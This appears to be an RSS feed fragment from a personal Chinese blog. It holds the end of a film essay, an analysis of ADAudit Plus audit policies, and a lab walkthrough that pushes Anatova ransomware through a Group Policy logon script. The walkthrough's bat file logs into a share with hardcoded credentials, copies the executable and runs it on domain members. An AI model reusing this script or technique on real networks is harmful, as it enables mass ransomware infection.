&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A25ea52f0-bbd0-44c7-8b55-321f3da5f688%3Asoaw2.jpg?table=block&amp;amp;id=1a4d4cd6-1e26-8031-a8e0-cb19045b3275&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;🕴️&lt;/span&gt;&lt;p&gt;Some people live a lifetime in a minute.&lt;/p&gt;&lt;/div&gt;
&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;💃&lt;/span&gt;&lt;p&gt;No mistakes in the tango, not like life. If you make a mistake, get all tangled up, just tango on.&lt;/p&gt;&lt;/div&gt;&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A1520ed01-24e1-4cfe-bc39-4f6bb658d7f3%3Asoaw1.jpg?table=block&amp;amp;id=1a4d4cd6-1e26-80b8-820a-d415199e0975&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;西班牙探戈舞曲「Por una Cabeza」（一步之遥）徐徐响起，探戈不像生活，探戈没有错误，如果你踏错了步，尽管继续探戈。尽管如此，生活也可以像泰戈尔说的，「尽管走下去，不必逗留着，去采鲜花来保存，因为在这一路上，花朵自然会继续开放」。&lt;/p&gt;

&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A8b51e574-0550-4fb4-b7e8-45543fb027f2%3Asoaw3.jpg?table=block&amp;amp;id=1a4d4cd6-1e26-8004-9afd-ef3e5764b1f5&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Ad1bc6622-ecb7-4716-9d2a-ad0aa59ae680%3Asoaw4.jpg?table=block&amp;amp;id=1a4d4cd6-1e26-800b-8f73-cf31e5bfda94&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;阿尔帕西诺再次贡献垂名影史的教科书式表演，失焦的眼神，对失明的演绎入木三分。细致的形体掌握和深厚的台词功底，完美诠释了一个暴躁、骄傲、勇敢、话唠、极度自尊、孤独、无助、失落、彷徨、坚毅、绅士、温暖、迅猛、不怒自威的复杂而又和谐的形象。&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A76d4d235-4649-4091-8a94-ff6571d2b0b5%3Asoaw5.png?table=block&amp;amp;id=1a4d4cd6-1e26-80d7-8edb-d793168652a5&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;众望所归，终于凭此片中的表演在1993年拿回奥斯卡男主角金人。标志性的「Woo-Hah」，罗宾威廉姆斯在阿尔的美国电影学会终生成就颁奖致辞说道，「这甚至不算一个词组…你因此却获得了奥斯卡！」&lt;/p&gt;
&lt;blockquote&gt;PS：刚好避开了神仙打架的1994年，否则这个姗姗来迟的小金人不知道是否会一迟到底呢。&lt;/blockquote&gt;

&lt;p&gt;是的，我毫不掩饰对阿尔的喜爱，还有「Godfather」（教父）、「Scarface」（疤面煞星）、「Dog Day Afternoon」（热天午后）、「Insomnia」（失眠症）、「The Irishman」（爱尔兰人），先按下稍后再表。&lt;/p&gt;
&lt;h3&gt;地球最后的夜晚&lt;/h3&gt;
&lt;p&gt;如果我可以选择让哪一部电影在影院重映，我一定会选的就是这部…&lt;/p&gt;

&lt;p&gt;关于这部影片，讨论最多的大概就是以爱情片噱头宣传的文艺片，其中首映特别排了一场12月31号21:50的，原因是这样在刚好12点跨年之际，电影镜头恰好是男女主角之吻，就是凭着“一吻跨年”的浪漫宣传，热恋中的青年情侣带着浪漫与期待被“骗”进了电影院，继而收割了大半场的昏昏欲睡和骂骂咧咧。&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A2c111c29-9d9b-4711-a757-27e94e4919b7%3Aimage.png?table=block&amp;amp;id=1a7d4cd6-1e26-8098-8cba-ce982b05ef4b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;blockquote&gt;《地球最後的夜晚》定於2018年12月31日在中國大陸公映，2018年12月7日，在片方發布的一張公告上，電影出品方打出了「一吻跨年」的口號，鼓勵觀眾買下12月31日21：50的場次，「與最重要的人一起度過一個最有儀式感的夜晚」，這一宣傳活動通過抖音、微博等廣泛流行的社交軟體迅速傳播，吸引大批觀眾購票進場。12月19日，影片票房已突破6000萬人民幣，創造中國文藝電影預售票房新紀錄，最終預售票房達1.59億人民幣，其中12月31日晚跨年場更出現「一票難求」的情況。然而，由於影片節奏緩慢、觀影門檻較高，與大多數普通觀眾的觀感不符，許多並非文藝片受眾的觀眾評價該片「沉悶無聊、不知所云」，在以購票者評分為主的猫眼電影創下了2.6分的史上最低評分。影片票房及排片在跨年場之後出現了斷崖式下跌，票房由首日的2.6億元人民幣暴跌至1100餘萬元人民幣，次日跌幅高達95.7%，上映第三天已縮水至不足兩百萬人民幣。該片的全國院線排片率從首日的34.1%降到第二天的13.7%，上座率更是從46.4%降到5.2%。有評論指該現象是「過度營銷造成的口碑反噬」。

———from wikipedia(&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E5%9C%B0%E7%90%83%E6%9C%80%E5%BE%8C%E7%9A%84%E5%A4%9C%E6%99%9A#%E7%A5%A8%E6%88%BF&quot;&gt;https://zh.wikipedia.org/wiki/地球最後的夜晚#票房&lt;/a&gt;)&lt;/blockquote&gt;

&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fm.media-amazon.com%2Fimages%2FM%2FMV5BYjdiM2E5YWYtYzgzOS00MDhmLTllOTYtNzljOTYyZjE1ZDcwXkEyXkFqcGc%40._V1_FMjpg_UX1996_.jpg?table=block&amp;amp;id=1a7d4cd6-1e26-80a1-9768-d8b2093d609e&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;

&lt;p&gt;当年上映的时候我对于电影还不大关注，只知道「最近」有一个电影，未曾想过这是什么电影，未想过是否值得一看，更未想过会因为骂声一片、票房不佳、上座率太低等原因在短时间内从影院下架。&lt;/p&gt;
&lt;p&gt;后来过年时，我不记得我是因为看到了很多相关的讨论，还是因为太过无聊，找了这部电影来看，我清楚地记得，当时盗摄盛行，影院无排片，媒体无资源，我竟然用手机看完了枪版的电影，模糊而又重影的画面、糟糕的收音，138分钟，复杂的剧情、梦幻的体验，我有点昏昏欲睡，直到最后几分钟主题音乐响起，爱人的房子在咒语中旋转起来，我受到深深的震撼……&lt;/p&gt;


&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fm.media-amazon.com%2Fimages%2FM%2FMV5BNzQxMWIzYzMtYjgzMS00NDNhLWIwMWEtOTlkYzQwNzhlYzhmXkEyXkFqcGc%40._V1_QL75_UX1640_.jpg?table=block&amp;amp;id=1a7d4cd6-1e26-80a0-956d-cbb3a1d02788&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;前半部分2D是现实，后半部分3D是梦境，而前半部分插叙交代两个年代的所有剧情，故事需要在这部分寻找线索组成，再交由后半部分的梦境糅杂。&lt;/p&gt;
&lt;p&gt;整片大量堆叠的意象，绿色与红色、野柚子、时钟、老鹰、水与火、KTV、乒乓球、苹果和蜂蜜等等在梦境与现实中穿插，由现实拼凑出梦境，由梦境填补现实。&lt;/p&gt;












































































</content:encoded>
        </item>
        <item>
            <title><![CDATA[通过域控下发病毒程序]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/通过域控下发病毒程序</link>
            <guid isPermaLink="true">https://z-zh.lol/通过域控下发病毒程序</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>


&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;📖&lt;/span&gt;&lt;p&gt;通过域控执行病毒程序（以勒索软件为例）&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;0x01 攻击方法&lt;/h2&gt;
&lt;p&gt;域控下发策略，域成员登录时，执行域控提前部署好的bat脚本，通过此脚本，IPC连接到域控，copy文件后执行命令，在成员机器上执行&lt;/p&gt;
&lt;h2&gt;0x02 具体步骤&lt;/h2&gt;
&lt;h3&gt;1. 主机加入到域控&lt;/h3&gt;
&lt;h4&gt;1.1 更改网络&lt;/h4&gt;
&lt;p&gt;更改主机网络，dns为域控的IP（域控同时也是dns服务器）&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2Fcf6a6612-22e9-41cf-8c4c-bed9594e13a7%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-80c7-bd1e-cf73669e4e90&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;确保能和域控通信&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A70a0e162-2e24-4902-8de1-d19272244bdb%3Aimage.png?table=block&amp;amp;id=22bd4cd6-1e26-80f0-b946-e0b2d8b43c98&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;1.2 更改系统属性&lt;/h4&gt;
&lt;p&gt;将其更改为隶属于域&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2Fdc567662-019c-4ae4-9d1d-3b91397014d3%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-8025-9ced-f41c4e8036a2&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;1.3 输入域名和密码&lt;/h4&gt;
&lt;p&gt;后就可以加入域了&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2F5bec7e66-d5bd-4112-b1b0-2a1ae6e119d0%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-80f2-974b-df19fcf3e47c&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;1.4 重启&lt;/h4&gt;
&lt;p&gt;重启后就加入域了&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Af6f6c2d4-bfc3-44d5-940c-74acc9a404a4%3Aimage.png?table=block&amp;amp;id=22bd4cd6-1e26-8085-8142-db0b58080b6b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;1.5 成功&lt;/h4&gt;
&lt;p&gt;之后在 Active Directory 就可以看到该计算机了&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2Fdb4e9286-7885-440a-8cb0-301d202fbfa0%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-8006-83e2-c6142f72b690&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;2. 开启IPC共享&lt;/h3&gt;
&lt;p&gt;将测试样本放在共享目录下&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2F47bc5e4d-bdaa-4d6a-b59d-6da7fd337994%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-801a-9cf2-f1d86f5701c8&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;3. 存放测试文件&lt;/h3&gt;
&lt;blockquote&gt;如果本机上有存在docx等文件，可略过此步骤&lt;/blockquote&gt;
&lt;p&gt;在DPtest目录下存放三个文件&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2F096d917c-d0d7-42fc-bca3-753b08a8b6dc%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-8004-8791-fdb88ae9e4ca&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;内容&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2Fddfe70c1-372a-4c94-9eba-27068da43686%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-80d1-bbfd-db89b0824704&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;

&lt;h3&gt;4. 组策略配置&lt;/h3&gt;
&lt;h4&gt;4.1 新建OU&lt;/h4&gt;
&lt;p&gt;OU 即 &lt;code&gt;Organization Unit&lt;/code&gt;，组织单位。&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2F4942e270-5166-488c-86a7-70e189ce3c9d%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-80ee-841c-f3e8b1b0051b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2F4377611f-8d53-4e05-8287-8cd9074e8d09%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-8052-b2c0-e79ba17ebcdd&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;4.2 新建用户&lt;/h4&gt;
&lt;p&gt;然后在OU内新建用户&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2F1e3bfbc7-8985-470d-93bf-e09273bd282c%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-8026-a5e5-d788e97e682e&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;密码为 &lt;code&gt;Admin123&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在这里用新用户登录域成员主机，用于&lt;strong&gt;存放测试文件&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;4.3 添加策略对象和bat&lt;/h4&gt;
&lt;p&gt;然后打开组策略管理(&lt;code&gt;gpmc.msc&lt;/code&gt;),右键组策略对象——新建名为&lt;code&gt;ADControl&lt;/code&gt;的策略对象
右键&lt;code&gt;ADControl&lt;/code&gt;—&lt;code&gt;编辑&lt;/code&gt;—&lt;code&gt;用户配置&lt;/code&gt;—&lt;code&gt;策略&lt;/code&gt;—&lt;code&gt;windows设置&lt;/code&gt;—&lt;code&gt;脚本&lt;/code&gt;—&lt;code&gt;登录&lt;/code&gt;—&lt;code&gt;显示文件&lt;/code&gt;—&lt;code&gt;新建dptest.bat&lt;/code&gt;
bat内容：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Visual Basic&quot;&gt;@echo off

REM 建立网络连接
net use \\192.168.249.227 Admin123 /user:administrator

REM 复制文件
copy \\192.168.249.227\rs\Anatova.exe c:\Users\gpo2\Desktop\

REM 执行可执行文件
cmd /c c:\Users\gpo2\Desktop\Anatova.exe

REM 断开网络连接
net use * /del /y

REM 结束脚本
exit&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后&lt;code&gt;添加&lt;/code&gt;—&lt;code&gt;浏览&lt;/code&gt;—&lt;code&gt;选择dptest.bat&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2F95ec8a67-5b26-433b-aa41-084b07331b8a%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-80b9-982a-e19484473d00&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;4.4 链接到GPO&lt;/h4&gt;
&lt;p&gt;在组策略管理器，右键&lt;code&gt;OU&lt;/code&gt;——&lt;code&gt;链接现有GPO&lt;/code&gt;——&lt;code&gt;选择ADcontrol&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2Fc70564da-faf8-4e1f-82d5-c033d228725f%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-8008-80c5-e6926e39b2ff&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;4.5 刷新组策略&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;gpupdate /force&lt;/code&gt;&lt;/pre&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fe4645038-4bf8-4011-8a23-2f4443c862f6%2F3ccc0514-e77f-4d2d-b301-26eb252404f8%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-80a0-bed5-c89c4a8a32e2&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h4&gt;4.6 登录账户&lt;/h4&gt;
&lt;p&gt;使用新建的账户&lt;code&gt;gpo2&lt;/code&gt;登录，域控即下发策略执行bat文件，下载勒索软件并执行&lt;/p&gt;







</content:encoded>
        </item>
        <item>
            <title><![CDATA[ADAudit Plus浅析]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/adaudit-plus浅析</link>
            <guid isPermaLink="true">https://z-zh.lol/adaudit-plus浅析</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>
&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;📖&lt;/span&gt;&lt;p&gt;简单分析了ADAudit Plus的产品逻辑&lt;/p&gt;&lt;/div&gt;

&lt;blockquote&gt;ADAudit Plus是一款基于Web的活动目录变更审计和报表解决方案，可帮助管理员审计和跟踪Windows活动目录中的所有变更，诸如用户、计算机、组、域策略变更和登录行为等，并通过丰富直观的报表呈现。此外，还可以对变更行为配置告警，及时通知管理员。&lt;/blockquote&gt;

&lt;p&gt;整体架构跟EventLog Analyzer类似，都是从windows eventlog中取日志存入pgsql数据库，利用xml文件对日志进行解析分类并生成各类报表。区别于数据库审计日志的关键是此处的日志策略是通过新建一个组策略对象和修改一个磨人的组策略对象设置的。&lt;/p&gt;
&lt;h2&gt;日志来源&lt;/h2&gt;
&lt;p&gt;域设置→事件日志属性 &lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Faf2f3b99-bdb8-4ef6-9bb7-f9e2ee8a15da%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-8044-81fc-c6c70ece2bbc&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;报表→高级DNS服务器审计来源：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-DNSServer%4Audit.evtx&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;服务器审核→Powershell审计来源：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;配置文件&lt;/h2&gt;
&lt;p&gt;在 \ManagerEngine\ADAudit Plus\conf 目录中有大量的xml文件，用于解析日志中的字段，例如 &lt;code&gt;kerberos-error-codes.xml&lt;/code&gt; 文件解析日志中 kerberos 认证错误代码的含义，如当&lt;code&gt;error_code&lt;/code&gt;为 &lt;code&gt;0x18&lt;/code&gt; 时，代表此错误是密码错误&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fae175b5f-7e81-4807-8da1-e21513960aaa%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-80cb-9c57-e1e3ab8771ad&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;与日志中的kerberos登录密码错误的信息一致&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fb771815d-131b-4837-91fa-e63ab0817f6b%2FUntitled.png?table=block&amp;amp;id=22bd4cd6-1e26-80d5-a7c4-e363bbe286d2&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;event-id.xml中记录了所有类别的eventid&lt;/p&gt;
&lt;h2&gt;策略更改&lt;/h2&gt;
&lt;p&gt;查看域控的策略， &lt;code&gt;auditpol/get /category:*&lt;/code&gt;&lt;/p&gt;&lt;p&gt;安装ad之后&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;C:\Users\Administrator&amp;gt;auditpol/get /category:*                                                                         系统审核策略                                                                                                            类别/子类别                                    设置                                                                     系统                                                                                                                      安全系统扩展                                  无审核                                                                    系统完整性                                   成功和失败                                                                 IPsec 驱动程序                              无审核                                                                      其他系统事件                                  成功和失败                                                                安全状态更改                                  成功                                                                    登录/注销                                                                                                                 登录                                      成功和失败                                                                    注销                                      成功                                                                          帐户锁定                                    成功                                                                        IPsec 主模式                               无审核                                                                       IPsec 快速模式                              无审核                                                                      IPsec 扩展模式                              无审核                                                                      特殊登录                                    成功                                                                        其他登录/注销事件                               无审核                                                                  网络策略服务器                                 成功和失败                                                               用户/设备声明                                 无审核                                                                    组成员身份                                   无审核                                                                   对象访问                                                                                                                  文件系统                                    无审核                                                                      注册表                                     无审核                                                                       内核对象                                    无审核                                                                      SAM                                     无审核                                                                          证书服务                                    无审核                                                                      已生成应用程序                                 无审核                                                                   句柄操作                                    无审核                                                                      文件共享                                    无审核                                                                      筛选平台数据包丢弃                               无审核                                                                 筛选平台连接                                  无审核                                                                    其他对象访问事件                                无审核                                                                  详细的文件共享                                 无审核                                                                   可移动存储                                   无审核                                                                     中心策略暂存                                  无审核                                                                  特权使用                                                                                                                  非敏感权限使用                                 无审核                                                                   其他权限使用事件                                无审核                                                                  敏感权限使用                                  无审核                                                                  详细追踪                                                                                                                  进程创建                                    无审核                                                                      进程终止                                    无审核                                                                      DPAPI 活动                                无审核                                                                        RPC 事件                                  无审核                                                                        “即插即用”事件                                无审核                                                                  Token Right Adjusted Events             无审核                                                                        策略改动                                                                                                                  审核策略更改                                  成功                                                                      身份验证策略更改                                成功                                                                    授权策略更改                                  无审核                                                                    MPSSVC 规则级别策略更改                         无审核                                                                  筛选平台策略更改                                无审核                                                                  其他策略更改事件                                无审核                                                                帐户管理                                                                                                                  计算机帐户管理                                 成功                                                                     安全组管理                                   成功                                                                       分发组管理                                   无审核                                                                     应用程序组管理                                 无审核                                                                   其他帐户管理事件                                无审核                                                                  用户帐户管理                                  成功                                                                    DS 访问                                                                                                                   目录服务访问                                  成功                                                                      目录服务更改                                  无审核                                                                    目录服务复制                                  无审核                                                                    详细的目录服务复制                               无审核                                                               帐户登录                                                                                                                  Kerberos 服务票证操作                         成功                                                                      其他帐户登录事件                                无审核                                                                  Kerberos 身份验证服务                         成功                                                                      凭据验证                                    成功&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-PowerShell&quot;&gt;C:\Users\Administrator&amp;gt;auditpol/get /category:*                                                                         系统审核策略                                                                                                            类别/子类别                                    设置                                                                     系统                                                                                                                      安全系统扩展                                  成功                                                                      系统完整性                                   成功和失败                                                                 IPsec 驱动程序                              无审核                                                                      其他系统事件                                  无审核                                                                    安全状态更改                                  成功                                                                    登录/注销                                                                                                                 登录                                      成功和失败                                                                    注销                                      成功                                                                          帐户锁定                                    无审核                                                                      IPsec 主模式                               无审核                                                                       IPsec 快速模式                              无审核                                                                      IPsec 扩展模式                              无审核                                                                      特殊登录                                    成功和失败                                                                  其他登录/注销事件                               成功和失败                                                              网络策略服务器                                 成功和失败                                                               用户/设备声明                                 无审核                                                                    组成员身份                                   无审核                                                                   对象访问                                                                                                                  文件系统                                    无审核                                                                      注册表                                     无审核                                                                       内核对象                                    无审核                                                                      SAM                                     无审核                                                                          证书服务                                    成功和失败                                                                  已生成应用程序                                 成功和失败                                                               句柄操作                                    无审核                                                                      文件共享                                    无审核                                                                      筛选平台数据包丢弃                               无审核                                                                 筛选平台连接                                  无审核                                                                    其他对象访问事件                                成功                                                                    详细的文件共享                                 无审核                                                                   可移动存储                                   成功和失败                                                                 中心策略暂存                                  无审核                                                                  特权使用                                                                                                                  非敏感权限使用                                 无审核                                                                   其他权限使用事件                                无审核                                                                  敏感权限使用                                  无审核                                                                  详细追踪                                                                                                                  进程创建                                    成功                                                                        进程终止                                    成功                                                                        DPAPI 活动                                无审核                                                                        RPC 事件                                  无审核                                                                        “即插即用”事件                                成功和失败                                                              Token Right Adjusted Events             无审核                                                                        策略改动                                                                                                                  审核策略更改                                  无审核                                                                    身份验证策略更改                                成功                                                                    授权策略更改                                  成功                                                                      MPSSVC 规则级别策略更改                         无审核                                                                  筛选平台策略更改                                无审核                                                                  其他策略更改事件                                无审核                                                                帐户管理                                                                                                                  计算机帐户管理                                 成功                                                                     安全组管理                                   成功                                                                       分发组管理                                   成功                                                                       应用程序组管理                                 无审核                                                                   其他帐户管理事件                                无审核                                                                  用户帐户管理                                  成功和失败                                                              DS 访问                                                                                                                   目录服务访问                                  成功                                                                      目录服务更改                                  成功                                                                      目录服务复制                                  无审核                                                                    详细的目录服务复制                               无审核                                                               帐户登录                                                                                                                  Kerberos 服务票证操作                         无审核                                                                    其他帐户登录事件                                成功和失败                                                              Kerberos 身份验证服务                         成功和失败                                                                凭据验证                                    无审核&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;产品新建了一个组策略对象GPO——&lt;code&gt;ceshi.com_ADAuditPlusPolicy&lt;/code&gt; ，并且更改默认的域控策略，根据这些策略，事件日志中会记录对应的日志，再由ADAudit Plus记录解析。&lt;/p&gt;
